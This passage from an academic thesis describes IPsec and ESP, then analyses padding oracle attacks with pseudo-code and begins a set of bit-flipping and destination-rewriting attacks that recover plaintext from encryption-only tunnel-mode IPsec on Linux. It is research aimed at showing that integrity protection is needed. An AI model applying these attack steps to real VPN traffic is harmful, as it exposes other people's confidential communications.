implementations are available in Openswan [22] and strongSwan [23], as well as Mac OS X (since version 10.4 Tiger), Windows Server 2003\textsuperscript{11} and hardware routers.

NAT, by design, breaks the end-to-end semantics of an IP address as it was originally conceived. The widespread usage of NAT has, consequently, caused unease for the Internet Architecture Board (IAB) [63, 103]. This has lead to the development of the Realm Specific IP (RSIP) protocol, currently defined in experimental RFCs 3102 and 3103 [57, 56], while the use of RSIP with IPsec is considered in RFC 3104 [144]. RSIP allows hosts in a private realm to use IP addresses from the public realm directly, thus preserving end-to-end connectivity between two IP addresses. However, RSIP, as it stands, is overly complex and requires host and gateway support with little practical advantage over NAT. RSIP in its current form seems doomed to obscurity.

5.3.6.2 Opportunistic Encryption

Opportunistic encryption (OE) is an overarching term encompassing the movement to promote widespread encrypted Internet communications without pre-arrangement, and the specific strategies, techniques and protocols to achieve that aim. The objectives of OE are motivated in a large part by the Internet Architecture Board’s stance on various governments’ policies on cryptography and the board’s view on the use of cryptography on the Internet, published in 1996 as (perhaps the aptly numbered) RFC 1984 [64]. RFC 4322 [172] describes how OE is implemented in FreeS/WAN [19] and how OE may be supported by IPsec in general.

A basic OE setup involves two end hosts, each connected behind an OE security gateway that sets up an Opportunistic Tunnel on their behalf without previous arrangement. Upon arrival of the first outbound packet towards the destination end host, the outbound initiating gateway queries the Domain Name System (DNS) [142, 143] for the destination end host. The query result would indicate the destination host’s associated OE gateway and its public key. The two gateways then initiate IKE exchanges to set up an OE tunnel, and protect all further tunnelled traffic between the two end hosts thereafter.

Adding OE support to IPsec requires no changes to protocol formats, but IKE needs to be modified to accommodate key exchange with an unknown peer. The DNS query protocol and public key distribution are protected by DNS Security Extensions (DNSSEC) [34].

5.3.6.3 BEET Mode

The Bound End-to-End Tunnel (BEET) mode is a recently proposed mode for ESP, whose specification [150] is still an Internet Draft. As an augmentation for transport and tunnel modes, the BEET mode provides end-to-end tunnel mode functionality (the tunnel endpoints are themselves the only end hosts) without the overheads of a full tunnel mode configuration. BEET mode ESP is an integral part of the proposed Host Identity Protocol

\textsuperscript{11}Although Microsoft discourages its use [31].
5.3 IP Security

(HIP) [145, 146] and is designed for scenarios where it is convenient to use IP addresses on the wire that are not necessarily the same as those that applications expect to see. Usage examples given in [150] include Mobile IP (where IP addresses are liable to frequent changes) and multi-homed hosts (where a single host is assigned multiple addresses). Although still in draft form, implementations for BEET mode ESP are already available for FreeBSD and the Linux kernel.

5.3.6.4 IP Compression

Link-level compression is generally ineffective for frames containing IPsec-encrypted packets. To increase IPsec communication performance, the IP Payload Compression Protocol (IPComp), defined in RFC 3173 [183], can be used alongside IPsec to reduce transmission overheads. IPComp compresses the IP payload (ESP header and payload) before encryption takes place. Use of IPComp requires establishing an IPComp Association (IPCA) which can be negotiated by IKE. Compression algorithms defined for use with IPComp include DEFLATE [166], LZS [84] and the ITU-T V.44 Packet Method [92].

5.3.7 Common Configurations

Here we provide some basic deployment scenarios for IPsec.

For end-to-end security, IPsec protocols (ESP and/or AH) can be used in transport mode. Cryptographic processing is then performed by both the end hosts which need to be IPsec-enabled. If both ESP and AH are used, ESP should be applied first so that AH can provide maximum integrity coverage. This also prevents potential timing attacks such as the one against TLS in [62].

Tunnel mode IPsec is better suited for a simple VPN. Two disparate networks exchange packets securely via the public Internet by means of a security gateway at the edge of each network. Tunnel mode IPsec is deployed on the gateways, protecting packets on behalf of end hosts behind the gateways. Therefore the end hosts do not need to be IPsec-aware, but security is only provided from gateway to gateway.

IPsec SAs can be combined. For example, combining the two configurations above, one could configure the use by ESP encryption in tunnel mode on the gateways and AH for end-to-end integrity protection. In this scenario, confidentiality is provided across the Internet and hosts on the local network are prevented from tampering with the (plaintext) packet.\(^\text{12}\) In a similar fashion, tunnels can be nested in networks where there are serially connected security gateways.

Another common use of IPsec is the so-called Road Warrior configuration. A road warrior is an itinerant host with no fixed IP address that requires access to a protected network. The scenario is not unlike that of VPN and indeed, an IPsec VPN gateway can be used as the gateway for the road warrior host. Instead of protection from gateway to gateway, we need end-host-to-gateway IPsec protection. In effect, the road warrior host

\(^\text{12}\)Although this configuration may be vulnerable to our attacks in Chapter 6.
is acting as its own security gateway, performing IPsec processing in tunnel mode. The
IPsec policy on the gateway on the fixed network will need to allow connection from a
wildcard IP address.

IPsec is commonly used to secure the Layer Two Tunneling Protocol (L2TP) \[189\] for some remote access deployments. L2TP is usually used to tunnel OSI layer 2 (Data Link) frames over the Point-to-Point Protocol (PPP) \[90\]. L2TP uses UDP transport which runs over IP, and does not offer any security services by itself. IPsec makes an ideal complement to L2TP to provide confidentiality and integrity protection to L2TP traffic without extensions or modifications to L2TP itself. The configuration is commonly known as L2TP/IPsec and is defined in RFC 3193 \[160\].

### 5.3.8 IPsec Implementations

IPsec is usually implemented in the network stack of an operating system. Started in
d 1997, FreeS/WAN \[19\] was an open-source project that produced one of the first working
implementations for Linux-based systems. The project’s final implementation was released
in April 2003, and the project officially concluded in April 2004. Its efforts were picked
up by two forked projects, Openswan \[22\] and strongSwan \[23\], both of which support the
Linux 2.4 and 2.6 series of kernels, and are still in active development today.

Linux did not include native IPsec support for its stable releases until the version 2.6
release. Linux’s IPsec implementation includes full support for AH and ESP in transport
tunnel and tunnel modes. IPsec-Tools \[6\], Linux’s IPsec configuration tools setkey and the IKE
daemon racoon were ported from the KAME project for BSD variants of operating systems.
IPsec’s development on Linux is charted in \[39\], which also provides an overview of the
implementations mentioned above.

The KAME project \[20\] was a joint effort of six Japanese companies to provide free
reference implementations of IPv6, IPsec (on IPv4 and IPv6) and advanced networking
technologies for BSD variants including FreeBSD, NetBSD and OpenBSD. Following the
integration of much of its output into the BSD operating systems, the project celebrated
its success and was officially completed in March 2006.

IPsec is supported by major desktop operating systems including Mac OS X (which is
derived from BSD itself), Windows 2000, XP and Vista, and all the major UNIX vendors:
HP-UX, IBM AIX, Sun Solaris and possibly others. IPsec implementations can also be
found on hardware network and firewall appliances from vendors such as Cisco and Juniper
Networks. In recent years, it is also not uncommon to see IPsec support on consumer-grade
network routers such as those manufactured by Linksys and Netgear.

### 5.3.9 Critique and Attacks on IPsec

In the early stages of development of IPsec, Bellovin \[48\] sketched a number of different
attacks that were enabled by a lack of integrity protection in the first version of ESP \[36\]
which partly motivated the inclusion of integrity protocol in the second version of ESP
\[111\]. We shall come back to Bellovin’s attacks in Chapter 6.
5.4 Padding Oracle Attacks on IPsec

Ferguson and Schneier [80] presented a critique of the second generation IPsec standards shortly after the relevant RFCs were published. Their main objections were the lack of clearly stated goals and objectives, and the excessive complexity of the protocols and their associated documents. Ferguson and Schneier attributed this complexity to the standardisation process itself (they termed it the “committee effect”), and remarked that the complexity makes attempts at an extensive evaluation of IPsec’s security all but an impossible task.

McCubbin et al. [137] sketched a few attacks on encryption-only ESP based on IV manipulation. Although somewhat related to our attacks in Chapter 6, the attacks in [137], like those of Bellovin in [48], have neither been considered in detail nor demonstrated in practice. McCubbin et al. recommended the use of integrity protection alongside encryption at all times.

IKECrack [4] is an open-source tool that implements attacks on the IKE (version 1) protocol. IKECrack targets weaknesses in the use of password-based Pre-Shared Key (PSK) authentication in IKE Aggressive Mode, and performs brute-force and dictionary attacks on the PSK password.

5.4 Padding Oracle Attacks on IPsec

We have seen padding oracle attacks on ISO CBC mode padding standards in Chapters 3 and 4. It is natural to investigate if similar attacks exist for real world cryptographic protocols that uses CBC mode encryption. Indeed, as we have seen in Section 2.7.1, Vaudenay in [191] speculated on potential attacks on IPsec using a padding oracle:

“IP Encapsulating Security Payload (ESP) uses another slightly different padding: the padding sequence is 1234...n instead of nn...n. Obviously, a similar attack holds.”

5.4.1 Attack Sketch

Briefly, the “similar attack” mentioned above would proceed as follows. As usual we assume the presence of a padding oracle that returns VALID or INVALID upon receipt of ciphertexts. This time of course the oracle checks for conformance to the supposed “IPsec padding rule” 1234...n bytewise. For a ciphertext $C_0||C_1||...||C_q$, we first attempt to recover the last byte of $P_T$, $(1 \leq T \leq q)$, the plaintext block corresponding to $C_T$. For ease of presentation we use a 64-bit (8-byte) block cipher as an example, but it is easy to generalise this attack to larger block sizes. We perform the attack by repeatedly submitting to the padding oracle ciphertext of the form $C'_0 = R||C_T$ where R is a random block and $C_T$ is our target ciphertext block. Upon each submission the padding oracle returns VALID with a probability of $1/256$. We vary the rightmost byte of $C'_1$ at each submission until the padding oracle returns VALID. This indicates that the corresponding plaintext has the value 01 as the last byte with a probability of $\sum_{i=8}^{64} 2^{-i} \approx 0.996$, or about 99.6%. From this, the last byte of $P_T$ can be computed as $P_T.7 = P_T.7 \oplus C'_1.7 \oplus C_(T-1).7$. Next byte $P_T.6$
5.4 Padding Oracle Attacks on IPsec

can be extracted similarly by using ciphertext $C'' = C''_1 || C''_2$ where $C''_{1,7} = C'_{1,7} \oplus (1) \oplus (2) \oplus (2)$ with any byte pattern occupying the remaining seven positions. Repeated submission of $C''$ using random bytes in the seven leftmost positions will eventually result in a VALID response from the padding oracle, at which point we can compute $P_{T,6} = P''_{2,6} \oplus C'_{1,6}$. Going from right to left, one byte at a time, we can extract the plaintext corresponding to the whole ciphertext block. This attack is presented in Algorithm 16.

**Algorithm 16** Pseudo-code for plaintext block recovery with a hypothetical “ESP padding oracle”

**Input:** ESP-encrypted ciphertext blocks $C_T, C_{T-1}$

**Output:** $P_T$, the plaintext block corresponding to $C_T$

Set blocks $R=R_0 R_1 \ldots R_7$, $P_T$ and $I=I_0 I_1 \ldots I_7$ to zero

for $i := 7$ to $0$ do

  $j := -1$

  repeat

    $j := j + 1$

    $R_i := (j)_2$

  until Oracle$(R||C_T) =$ VALID

  $I_i := (1)_2 \oplus j$

  $R_i R_{i+1} \ldots R_7 := R_i R_{i+1} \ldots R_7 \oplus (1)_2 (2)_2 \ldots (8-i)_2 \oplus (2)_2 (3)_2 \ldots (8-i+1)_2$

  $P_{T,i} := I_i \oplus C_{(T-1),i}$

end for

return $P_T$

For simplicity, we omit checks for the actual padding pattern after the initial VALID oracle response, and assume it to be 01, the most likely case. The above attack requires on average 128 oracle queries to recover each plaintext byte and a total of 1024 queries for a 64-bit block.

We have just seen how the attack might work. Having the benefit of the review of IPsec above, we are now in a position to fully investigate whether IPsec is actually vulnerable to the above attack. In effect, we are making a leap from the realm of theoretical analysis to attacking a real-world, fully specified protocol.

### 5.4.2 The ESP Trailer Format

The first complication arises due to the fact that the encrypted portion of ESP plaintext has an ending whose format is different from that claimed by Vaudenay. Recall the ESP header and trailer format in Figure 5.3: padding is appended to payload data, followed by a Pad Length byte and Next Header byte. The padding bytes are added in such a number that the payload and trailer together are of length a multiple of the block cipher size, and so that Next Header byte aligns on a four-byte boundary. (Note the absence of the Authentication Data field.) The padding is of the pattern 010203... while the Pad Length field indicates the number of bytes padded (therefore except for the case where no padding bytes are added, the last padding byte, which immediately precedes this field,
always has the same value as the Pad Length field), and the Next Header field indicates the payload type. The payload and trailer fields are then encrypted in CBC mode with the IV used inserted before the resulting ciphertext.

Let us try extracting plaintext from an intercepted ESP packet whose payload is encrypted but not integrity-protected. For now we assume the presence of a padding oracle. We shall later examine the question of whether a padding oracle exist within IPsec. Firstly notice that the plaintext does not end with a padding byte. In fact the last padding byte occupies the last-but-two position. However it is reasonable to assume that any padding checking by the oracle should involve first inspecting the Pad Length field, followed by the contents of the preceding bytes. Therefore padding correctness information returned by the oracle tells us more than just what IPsec defines as “padding”, but also partial information about the Pad Length field.

Since the padding oracle does not tell us anything about the rightmost byte (where the Next Header field resides), we cannot extract whole plaintext blocks by using the oracle directly. However, we should still be able to mount a modified version of the above attack. With notation as before, for a ciphertext that generates a positive oracle response, the most likely corresponding plaintext block \( P'_2 \) would contain the pattern \( xyxyxyxyxy00xy \) (where bytes \( xy \) can be any value), with Pad Length field indicating no padding bytes. The next most likely case is \( xyxyxyxy0101xy \) and so on. With this knowledge we can modify the above attack sketch and extract the leftmost seven plaintext bytes in \( P_T \). The modified attack is shown in Algorithm 17.

**Algorithm 17** Modified “ESP padding oracle” attack

**Input:** ESP-encrypted ciphertext blocks \( C_T, C_{T-1} \)

**Output:** \( P'_T \), the block containing leftmost seven bytes of plaintext corresponding to \( C_T \)

Set blocks \( R = R_0R_1\ldots R_7, P'_T \) and \( I = I_0I_1\ldots I_7 \) to zero

for \( i = 6 \) to \( 0 \) do

\( j := -1 \)

\( k := 6 - i \)

repeat

\( j := j + 1 \)

\( R_i := (j)_2 \)

until Oracle\((R_i||C_T) = VALID \)

\( I_i := (1)_2 \oplus j \)

\( R_iR_{i+1}\ldots R_6 := R_iR_{i+1}\ldots R_6 \oplus (k)_2(k)_2\ldots (k+1)_2 \)

\( P'_T,i := I_i \oplus C_{(T-1),i} \)

end for

return \( P'_T \)
5.4 Padding Oracle Attacks on IPsec

5.4.3 Padding Oracles in IPsec?

The question remains whether IPsec exhibits any padding-oracle-like behaviour. The answer is twofold. We can analyse the susceptibility of IPsec to padding oracle attacks as either a hypothetical implementation that strictly follows the RFCs, or an existing one that achieves a certain level of RFC compliance, subject to configuration variations. In short, the answer is not entirely straightforward.

5.4.3.1 Hypothetical Implementation

Taking the hypothetical implementation of IPsec, it is not completely obvious what should happen on encountering an incorrectly padded plaintext after decryption.

RFC 2406 [111, Section 2.4] specifies the default ESP padding scheme outlined above, and also recommends that “[w]hen this padding scheme is employed, the receiver SHOULD inspect the Padding field”. An identical text segment also appears at the same section of RFC 4303 [109]. Let us suppose we are mounting an attack described above (perhaps lengthened with dummy blocks to pass any elementary length checks) against an ESP implementation which does inspect the padding field. In the absence of any further elaboration by the RFC, we might reasonably assume the implementation discards the packet upon invalid padding. Does that tell us anything?

During an iteration of the above attack, at some stage the ESP implementation decrypts and checks the content of the last block, which contains a random string of bytes (due to random $C'_1$). In particular, the contents of Pad Length and Next Header fields are random. Now the software inspects the padding by first reading the Pad Length field and then checking the values of the preceding bytes. With a high probability the check will fail and the packet will be discarded, but with a probability of $2^{-8}$ the check will pass with the Pad Length value of 00.

If padding inspection passes, then for transport mode ESP, IP passes the decrypted packet to be processed by the next layer protocol indicated by the Next Header field. Let us assume IPsec passes the packet to a hypothetical IP implementation that silently discards packets with an unsupported protocol field. In this scenario, for most random packets we cannot tell the difference between valid padding (discarded by IPsec) and invalid padding (discarded by next layer processing), but there is a small probability of about $2^{-8} \cdot 2^{-8} = 2^{-14}$ that the packet will be passed through to the upper layer (assuming four protocols out of the possible 256 are valid). If some of the supported upper layers produce error messages when encountering malformed data (let’s assume it’s highly likely due to randomness), we can conclude that IPsec, within the context of the hypothetical IP and upper layer protocols, can exhibit a small degree of padding oracle behaviour.

If ESP is operating in tunnel mode, then after successful padding checks, the Next Header field is examined as a part of IPsec policy checking. As the value 04 is the only valid Next Header value in this case, it is reasonable to assume that the packet will be dropped if any other value is found. With a combined probability of about $2^{-8} \cdot 2^{-8} = 2^{-16}$ the Next Header will pass, upon which the decrypted inner IP packet will then undergo
5.4 Padding Oracle Attacks on IPsec

IP and then upper layer processing again. Our initial manipulation of the ESP-encrypted ciphertext is likely to have caused garbling of the payload in the inner packet (usually TCP or UDP data) towards the end. Assuming the original inner IP header passes all the checks, whether or not there will be any observable error messages produced will again depend on the upper layer protocols. We can deliberately induce ICMP error messages by carefully flipping bits in the inner IP header. This technique was developed Degabriele and Paterson for a more recent attack [69]. Once we can distinguish padding errors from upper layer protocol errors, we learn the content of the last two plaintext bytes and we may continue the attack for the remaining bytes from then on.

We conclude that IPsec, as specified in the RFCs, is liable to behaving as a padding oracle. To actually formulate an attack, even on paper, however, is much more involved than Vaudenay’s original padding oracle attacks would suggest. It requires taking into account the precise ESP padding and trailer formats and the knowledge of IPsec and IP processing. Mounting such an attack in practice faces even more challenges, as outlined in the next section and demonstrated by Degabriele and Paterson [69].

5.4.3.2 IPsec on Linux

We now present our analysis the native IPsec implementation on Linux kernel version 2.6.8.1 which is based on the second generation of IPsec RFCs. ESP processing is implemented in file net/ipv4/esp4.c, within which the function esp_input() contains code for processing incoming ESP packets. After decryption this code performs a basic ESP trailer length check based on the Pad Length field value. The packet is dropped if the check fails. After that no checks on the preceding padding bytes are done, despite the checks being recommended in RFC 2406. For this reason we cannot learn anything about the byte positions before the Pad Length field.

The now decrypted packet is then passed on to the next layer of processing as indicated by the Next Header field. In transport mode the next layer is likely to be TCP 17 or UDP 06, whereas in tunnel mode it would be IP (indicated by 04 as IP-in-IP). In the case of an unsupported Next Header protocol the packet would simply be silently dropped by default. However, Linux can be configured to log errors when an attempt at passing a packet to an unsupported protocol is made. In this case, if an attacker has access to the contents of the relevant log file (difficult since it is normally only readable by the root user) or can detect the act of its being appended with new data (such as via file size or modification time), he may be able to exploit the information to construct an oracle that leaks information about the Next Header and Pad Length fields.

There is yet another possibility of a side channel based on Next Header validity. The idea is that for a tunnel mode IPsec packet, if we manipulate the inner IP header and payload in such a way that the Next Header field is valid, then we would observe a returned error message from the upper layer protocol. For an invalid Next Header field, nothing is returned. We call this a Next Header Oracle. This method was successfully used by Degabriele and Paterson [69] against IPsec on Linux to extract two plaintext
bytes from a target ciphertext block. A caveat with this technique is that it only works on ESP implementations that do not perform padding checks (of which Linux’s is one\textsuperscript{13}), as randomising the Next Header field will inevitably randomise the padding bytes as well.

Taking this concept of an “error oracle” further, if we manipulate the inner IP header carefully so that the receiving IP implementation generates an ICMP error message, we can construct a much more powerful and efficient class of attacks. We shall develop attacks based on this idea in Chapter 6.

In summary, padding oracles in their pure form are simply impossible on Linux because padding inspection is omitted altogether in Linux’s ESP implementation. Nonetheless, the analysis in this chapter paves the way for developing practical attacks to be presented in the next chapter.

### 5.5 Chapter Summary

Vaudenay in [191] considered padding oracle attacks on IPsec to be viable. In this chapter we took that notion and investigated the extent to which the ESP protocol within IPsec may behave like a padding oracle. We first provided the relevant technical background on IP and IPsec. We then went on to argue, based on analysis of RFCs and implementation source, that such padding oracle attacks may be hard to realise due to factors such as the exact data format, ambiguous meaning of observable errors and differences between standards and implementations. However, the analysis does lead to further powerful and efficient attacks that we shall present in the next chapter.

\textsuperscript{13}In fact, a comment within the ESP source code suggests that padding checks are omitted deliberately, perhaps deemed unnecessary by the implementor.
Attacks on IPsec

6.1 Chapter Overview

In this chapter, we build on the analysis in Chapter 5 and present some new and realistic side channel attacks on IPsec in encryption-only configurations. We first provide some more background on the evolution of IPsec standards and, in particular, ESP, then go on to present our attacks and their implementation. This is followed by a discussion of the feasibility and impact of our attacks, and what countermeasures can be taken to prevent them.

6.1.1 Preview of Attacks

In Chapter 5, we have learned the basics of the IPsec suite of protocols for securing IPv4, and have gone into some details on the operation of ESP. We have also sketched how encryption-only ESP in tunnel mode may be subject to padding oracle attacks, and argued that a simplistic padding oracle attack is unlikely to be feasible in practice (although more sophisticated variants have been proposed by Degabriele and Paterson [69]). In this chapter, we present three classes of attack which do work against a real implementation of IPsec, the Linux kernel implementation.

We have identified a new side channel in an implementation of IPsec and IP that reveals far more information than a padding oracle does. The channel can be exploited by carefully manipulating portions of tunnel mode, CBC mode encrypted inner datagrams that are not integrity-protected. With this side channel, our new attacks are far more devastating than any potential attack based on padding oracles in terms of efficiency and the amount of plaintext extracted. The attacks have been implemented in an attack client demonstrating that they work under realistic network conditions and against realistic IPsec deployments.

With the discovery of these attacks, we set out to demonstrate that side channel attacks on CBC mode encryption are real and practical. Furthermore, we seek to convince the reader that the use of the CBC encryption mechanisms on their own is not sufficient to provide a confidentiality service for tunnel mode IPsec. Instead, security can only be achieved if encryption is appropriately combined with integrity protection. We also show that some of the more obvious ways of adding integrity protection still lead to insecure IPsec configurations.
6.2 Overview of Attacks

6.2.1 Assumptions

All our attacks in this chapter are against the use of tunnel mode IPsec where encryption is employed to provide confidentiality for the inner datagram but neither forms of IPsec integrity protection (ESP authentication or AH) is configured. Inner datagrams are encrypted in CBC mode with a 64- or 128-bit block cipher such as DES or AES. The outer and inner datagrams are formatted and encrypted according to the relevant IPsec RFCs [111, 167, 129, 82].

All of the attacks are prevented by the policy matching checks mentioned in Section 5.3.2. However the absence of those checks in the Linux kernel IPsec implementation not only allows these attacks to be realised, but also raises a few serious issues that we shall come back to.

We assume a VPN is deployed connecting two disparate networks across the public Internet using encryption-only IPsec. A typical deployment scenario is depicted in Figure 6.1. Encryption keys can either be negotiated using IKE or manually set up, as long as they remain unchanged throughout the course of our attacks. Two security gateways on the edge of each of the networks perform IPsec processing and routing on behalf of the inside hosts. We assume the attacker is located outside both of the networks, and is able to eavesdrop on all traffic between the gateways, and datagrams from each of the gateways to any other hosts on the Internet. We assume the attacker knows the configuration of the IPsec tunnel in terms of the external IP addresses of the gateways, protection mode (encryption-only ESP in CBC mode), block cipher size (64 or 128 bits), but not any of the keys. In addition, the attacker can also inject his own contrived datagrams into the IPsec tunnel. However, he is not assumed to have the capability to delete any datagrams from the tunnel or elsewhere.

The aim of the attacker is simply to learn as many plaintext bytes as possible from any intercepted datagrams from the above tunnel.

Figure 6.1: A typical site-to-site IPsec VPN deployment.
6.2.2 ICMP and Side Channel Attacks on IPsec

For most of our attacks, we extract plaintext bytes from ESP datagrams using ICMP messages as a side channel. We introduced ICMP in Section 5.2.2, and as it turns out, this commonly used protocol and a fundamental part of TCP/IP has serious security consequences with encryption-only IPsec. Using bit-flipping techniques on CBC mode encryption, an attacker can manipulate the inner datagram of an intercepted tunnel mode ESP datagram. With some probability, the modification to the inner datagram introduces specific errors in the inner header. The modified ESP datagram is then sent on and causes ICMP error messages to be generated by the IPsec gateway or an end host in response to the error. As we have learned, the ICMP standards specify that an error message must contain in its payload the whole of the header of the problem datagram and at least the first eight bytes of its payload. The ICMP message, if it can be intercepted by the attacker, reveals partial plaintext information of the original encrypted ESP datagram.

The plaintext information contained in one ICMP message, which may be more than 500 bytes in size, compares very favourably with padding oracles which reveals one bit of information per query at most. This is the basis of our claim for the high efficiency of our attacks.

6.3 Attacks Based on Destination Address Rewriting

We are now ready to discuss our first group of attacks on encryption-only ESP in tunnel mode. We first present the case where the block cipher used by ESP has 64-bit blocks, followed by the 128-bit version later. Note that the two-phase attack we describe here does not make use of the ICMP side channel. Rather, it serves as a precursor to the more sophisticated attacks to follow by introducing the concept of modifying an encrypted inner datagram for some specific desired effect, and complications that may arise in the process.

We describe the attack in the context of a pair of security gateways communicating using encryption-only ESP in tunnel mode to protect the traffic between them. One of the security gateways also acts as a router for non-IPsec traffic. We need to make one assumption for the attack to work: we assume that the attacker, controlling the host located at IP address \texttt{AttAddr}, knows the destination IP address \texttt{DestAddr} of the target inner datagram (and of course, \texttt{AttAddr}, his own IP address). This assumption will be relaxed shortly.

6.3.1 64-bit Attack: The First Phase

The first phase of the attack is based on manipulating the Destination Address field in the inner datagram. Recall that this field lies in the fifth 32-bit word of the IP header, and therefore forms the first 32 bits of plaintext block \( P_3 \) in the sequence of blocks to be encrypted in CBC mode by ESP. The second 32 bits of this block is the first 32 bits of the payload of the inner datagram.
6.3 Attacks Based on Destination Address Rewriting

This phase is represented by the pseudo-code below, with the attacker at \texttt{AttAddr} listening for IP datagrams from the target gateway during the attack (see also Figure 6.2):

1. Capture a target ESP-protected outer datagram from the IPsec tunnel. Let \texttt{OuterHeader} be the IP header from the outer datagram, and 64-bit blocks $C_0 || C_1 || \ldots || C_q$ denote the IV and encrypted portion of this datagram’s payload.

2. Modify block $C_2$ in the first 32 bits by XORing it with the 32-bit mask $M = \texttt{DestAddr} \oplus \texttt{AttAddr}$ to obtain a block $C_2'$.  

3. \textbf{Repeat:}
   
   a. Modify block $C_2'$, now in the last 32 bits, by setting these bits to a random 32-bit value \( R \). Let $C_2''$ denote the modified block.
   
   b. Let \( C' = C_0 || C_1 || C_2'' || C_3 || \ldots || C_q \). Inject the datagram \texttt{OuterHeader}||\( C' \) into the tunnel.

   \textbf{Until:} a datagram is received by the attacker at \texttt{AttAddr}.

4. Save the datagram \texttt{OuterHeader}||\( C' \) where block $C_2''$ in $C'$ holds its value at the exit of the loop.

The above code assumes that the plaintext datagram is received immediately after the injection of a successfully modified datagram, such that \texttt{OuterHeader}||\( C' \) corresponds to the plaintext datagram received in step 3 that triggers the exit of the loop. In a real scenario there is usually a variable and unpredictable time delay between injection of the modified datagram and receipt of the corresponding plaintext datagram. Therefore some synchronisation mechanism has to be implemented to ensure the correspondence of the modified and plaintext datagrams.

To see why this phase might work, notice that each injected datagram now has \texttt{AttAddr} as the destination address of the inner datagram. So when the security gateway receives the modified outer datagram and decrypts the encrypted portion, it recovers an inner datagram that will be routed directly to the attacker’s machine. Note that, however, if policy checks are performed after decryption, the datagram will be dropped instead of forwarded. This redirected datagram is in unencrypted form, and its payload will be identical to that of the original inner datagram except in the first 32 bits (corresponding to the randomisation of the second half of $C_2$). These payload bits can be recovered easily using the relation $P_3 = P_3' \oplus (M || R)$ where $P_3'$ is the third block in the received datagram, $M$ is the address mask used in step 2 and $R$ the random bits introduced in step 3.

Of course, because of the modifications made to block $C_2$ during the attack, block $P_2$ of the inner datagram is essentially randomised, so the header of the modified inner datagram is likely to be invalid. Block $P_2$ contains the Time-to-Live (TTL), Protocol, Checksum and Source Address fields. Thus the success rate of each iteration of the attack
6.3 Attacks Based on Destination Address Rewriting

Figure 6.2: Modifications to inner header fields in destination address rewriting attack, 64-bit case.

depends on the combined probability that the TTL is sufficiently large so that the inner datagram reaches the attacker’s machine, that the checksum is valid for the new header, and that the new inner source address is routable. All other fields in the header will be unmodified, since they lie in plaintext block $P_1$ which is not modified in the attack, and therefore will be correct if the original inner header was so. Figure 6.2 illustrates how the attack modifies the various inner header fields.

Based on our experience in implementing our other attacks, we estimate that this success probability is roughly $2^{-17}$ per iteration. The largest factor of $2^{-16}$ comes from the requirement for the 16-bit checksum, randomised in block $P_2$, to be valid. The remaining factor of roughly $2^{-1}$ is due to the combined probability of the the randomised TTL field being greater than 1 and the inner source address being routable. From this, it can be calculated that $2^{17}$ iterations of steps 3a and 3b of the attack should give a success probability of about 60%.

6.3.2 64-bit Attack: The Second Phase — Recovering Further Plaintext

An attacker who has conducted the first phase against an encrypted inner datagram of the form $C_0, C_1, \ldots, C_q$ does not need to repeat the $O(2^{16})$ iterations in order to obtain decrypted versions of further inner datagrams. The further datagrams need not even be destined for or originate from the same pair of hosts. Instead, the contents of new datagrams can be recovered much more efficiently as follows.

The attacker reuses the payload portion $C_0 || C_1 || C_2' || C_3$ of the outer datagram that was successful in the first phase, splicing onto it, in the general case, any $q - 5$ consecutive ciphertext blocks from the encrypted payload of the new target datagram, and finishing with the last two blocks $C_{q-1} || C_q$ of the original target. Padding with dummy blocks can be used if necessary to ensure that a total of $q$ blocks are present.

The attacker then uses this modified byte sequence as the encrypted payload of an
6.3 Attacks Based on Destination Address Rewriting

outer datagram with the IP header \texttt{OuterHeader}. This construction (illustrated in Figure 6.3) ensures that upon decryption by the security gateway, the payload is interpreted as an inner datagram with a valid header and a destination address equal to \texttt{AttAddr}. In particular, inclusion of blocks $C_{q-1}||C_q$ ensures the payload is correctly padded and has a valid Next Header value.

This datagram will be routed to the attacker’s machine (for the same reasons that the successful datagram from the main attack was). From this datagram, a total of $64(q-5)$ bits of plaintext from the new target datagram can be recovered (the first 64 bits are obtained using a similar to trick to that used to recover $P_3$ in the main attack; the remaining bits appear in clear in blocks 5 up to $q-2$ of the datagram payload received by the attacker).

It is important to note that the above description is only correct in cases where the last plaintext block has room for at least two bytes (16 bits) after the last payload byte to accommodate the Pad Length and Next Header bytes, or the payload bytes end exactly on a block boundary. This is similar to the same-block padding situation introduced in Section 3.3.2.

In the special case, similar to the new-block padding scenario we have seen earlier, the last payload byte occupies the last-but-one byte position in a block. This provides insufficient space for the mandatory two bytes of Pad Length and Next Header fields, thus forcing padding and trailer bytes to occupy a new subsequent block. So as to preserve all the padding bytes in this situation, the attacker must end each constructed ciphertext with blocks $C_{q-2}||C_{q-1}||C_q$ from the original target. In the light of these two cases, the attacker could always take the conservative approach and always reuse the last three ciphertext blocks. However, this has the effect of lowering the efficiency of this phase of the attack by one block per trial, or worse still, prevents this phase from proceeding altogether if the ciphertext is fewer than six blocks in length (excluding the IV).

Fortunately, the attacker can easily derive the padding boundary from the plaintext datagram received after a successful run of phase 1: he can do so either by counting the bytes of the whole datagram or simply inspecting the Total Length field. With this information, he can work out where the last byte of the original inner datagram would fall in the last or last-but-one block, and hence whether he needs to end the constructed ciphertext with two or three blocks from the original (or that this phase cannot be run at all).

It is easy to see how this second phase could be automated to give an efficient method for recovering the complete contents of multiple captured datagrams. Each injection of a constructed datagram into the tunnel returns up to $q-5$ blocks of plaintext. So to recover a complete encrypted inner datagram the attacker simply divides the target datagram in segments of up to $q-5$ blocks in length, and runs this phase of the attack on one segment at a time. With a choice of target outer datagram of a large enough size in phase 1, say 1500 bytes in total, each trial in phase 2 returns 1416 bytes of plaintext after removing those bytes corresponding to header and padding blocks. For an IP datagram whose maximum
size is typically 1500 bytes, up to two trials of phase 2 are therefore required to recover a complete datagram, depending on whether IP fragmentation, if any, occurs before or after IPsec processing. Complete datagrams can then be reassembled from segments of plaintext blocks if necessary. Thus the cost of the main attack can be amortised over many datagrams. It illustrates an idea that we reuse several times in the attacks to follow.

6.3.3 Relaxing the Address Assumption

Our main assumption that the attacker knows the complete destination IP address of the inner datagram can be relaxed. It is enough, and more realistic, that the attacker knows only a portion of this IP address. For example, it may be that the destination host is on a network whose network prefix is known to the attacker, perhaps because it is the same as the prefix of the security gateway, or because it is one of the three widely-used private address prefixes (specified in [171]).

The main idea is as follows. Instead of using a mask equal to DestAddr $\oplus$ AttAddr in step 2 of the attack, the attacker instead uses a mask which modifies that portion of the destination address known to the attacker so that it equals the corresponding portion of the address of his target machine. He then modifies the remaining bits of the destination address using a counter, and repeats the main attack for each counter value. One counter value will produce a destination address exactly matching that of the attacker; for this counter value, the attacker has the same probability as before (roughly $2^{-17}$) of receiving a datagram from the gateway.

